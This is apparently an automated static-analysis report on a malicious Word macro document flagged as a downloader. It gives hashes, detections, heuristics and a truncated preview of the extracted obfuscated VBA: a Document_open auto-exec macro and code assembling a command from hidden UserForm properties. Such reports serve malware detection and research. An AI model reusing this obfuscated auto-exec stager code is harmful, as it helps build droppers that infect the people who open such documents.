Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 d24ade645ea06cd0…

MALICIOUS

Office (OLE)

125.6 KB Created: 2019-12-13 21:49:00 Authoring application: Microsoft Office Word First seen: 2020-02-04
MD5: 37895f14c1ab7258f18545b8b3091c80 SHA-1: b039167f7b388a71dc1346c5d95fb17f7df20327 SHA-256: d24ade645ea06cd024830a41eff78b3702d4d0d63e72bd89dfe694889a24a015
262 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file contains VBA macros, specifically a Document_Open macro that utilizes CreateObject and a hidden UserForm to execute code. This pattern is indicative of a downloader or stager designed to fetch and run additional malicious content. ClamAV detection further supports its malicious nature, identifying it as Doc.Downloader.Sagent-7454445-0. The specific obfuscation and lack of clear network indicators prevent definitive family attribution.

Heuristics 7

  • ClamAV: Doc.Downloader.Sagent-7454445-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Sagent-7454445-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 10946 bytes
SHA-256: 8495340664534ab71148e9fa8c1206b3621a39d006fdb47cb146c469f25588ae
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Xmtcmcovmi"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Control = "Zepmlzbwtd, 0, 0, MSForms, TextBox"
Private Sub Document_open()
   Rbheeuczuaa = Gxrukoktavibm
Dompqccdqcind = Iiulysaldrcy
Ycrwgwgol = Dubrcagaimaga
Select _
 Case Dcixnelx
      Case 621
         Qrxwmuxg _
         = Hex _
         (931)
         Xyubqvxjtyvr = CVar(619)
         Sdfnasrx _
         = Hex(243)
      Case 261
         Ljjdvscaleg = CVar(121)
         Hhsgbdsez _
         = 28
         Eiojgwdapdph = CDate _
         (56)
      Case 646
         Nbvvfrvnvxgi = _
         CInt(788)
         Trmlonyndsu = Log(Fpfrzflo)
         Judzqnqdxknhx = Szvaxcaqp
End Select
   Wxyyfcuajiy = Ubrykrbtb
Zptoummdgm = Veclfzpmd
Lcbngutyvuo = Iggwwuruywv
Select _
 Case Gwtlqgjail
      Case 930
         Fjnnakgfmczst _
         = Hex _
         (67)
         Yumfftynx = CVar(97)
         Dippaunxql _
         = Hex(575)
      Case 201
         Ymppwdxar = CVar(143)
         Kfvfnggvqjpgy _
         = 896
         Bffwzxuontqeb = CDate _
         (655)
      Case 489
         Dsdkfjfozrkpn = _
         CInt(65)
         Fqazbsvvba = Log(Hmxcelqfwdn)
         Wqfepigreoz = Ighxbkps
End Select
   Zgewhemwrzvse = Ehukrdgrajm
Ojqeaobvjdr = Etlelbmygegsu
Oemujyihiqrp = Ueceszmgvxli
Select _
 Case Ekmguigfq
      Case 402
         Awmdotlifladn _
         = Hex _
         (660)
         Giipjbjacydl = CVar(697)
         Mpofhrdacgdza _
         = Hex(546)
      Case 807
         Egzeycxwanvrv = CVar(445)
         Kiqmtwlyg _
         = 833
         Fgcmkbzexreg = CDate _
         (798)
      Case 95
         Osnsmahqxwui = _
         CInt(963)
         Zsisugwruod = Log(Rlnfcusedxft)
         Pifrbniefj = Pwxyzosiqe
End Select
Szurvytvyyqw
End Sub


Attribute VB_Name = "Rlndryuf"
Attribute VB_Base = "0{53A8F9CE-F62A-424E-B48F-7773908C8B41}{98A791E9-1E45-466D-8930-7B5DEEEE7885}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Sfxuqprex"
Function Gffrrmoptrb()
   Pqtrejezznzb = Kasmtzhjhjls
Kttkhaqapomnr = Orkhyodbgzo
Ikgmzfpfu = Jajkdzgidtsr
Select _
 Case Kkgsmktnks
      Case 452
         Anlokubpx _
         = Hex _
         (634)
         Tygtgjmpt = CVar(250)
         Ovinhfbw _
         = Hex(417)
      Case 906
         Fuyswpjypln = CVar(20)
         Nufrmdydl _
         = 899
         Yqfwnwob = CDate _
         (947)
      Case 866
         Odiajudrdum = _
         CInt(78)
         Vtbnosrntry = Log(Jmkswmeqz)
         Qdivmhinwakdl = Iqbuljhd
End Select
Wcqjsesti = Xmtcmcovmi.Zepmlzbwtd
   Qswfsxekcft = Mtbbpcur
Uszoieuwtnhh = Bzacvridzpm
Vitpxbybn = Vfiiaqsfjm
Select _
 Case Brwylqtkczv
      Case 592
         Zyjgmnngrhp _
         = Hex _
         (681)
         Diwhzwvr = CVar(966)
         Bcmkthgvjjuar _
         = Hex(879)
      Case 330
         Wymjjkhplnkou = CVar(521)
         Cwhaidaduzllf _
         = 349
         Dqnhcyjih = CDate _
         (699)
      Case 131
         Naxjsmvkgxsr = _
         CInt(414)
         Wurkyzbqfktbm = Log(Toanppzg)
         Zqvrikznl = Rxinrxvm
End Select
Nhgjclmumuee = Wcqjsesti + Rlndryuf.Qgqdkfeugdwb + Rlndryuf.Mqzqbhomi + Rlndryuf.Cighjeqo
   Csgrspqptzf = Rezgxsbuauv
Bumpkdxaqb = Fvfuqrqzeup
Dsaucxkzjowce = Lqbchqsw
Select _
 Case Jdesehef
      Case 984
         Lxfodgpvh _
         = Hex _
         (940)
         Mcpootnzjkve = CVar(58)
         Uggegrxphqnk _
         = Hex(435)
      Case 966
         Bbwpnixbpeqnq = CVar(316)
         Wqtlvjair _
         = 407
         Uxuyaegpxho = CDate _
         (105)
      Case 6
... (truncated)

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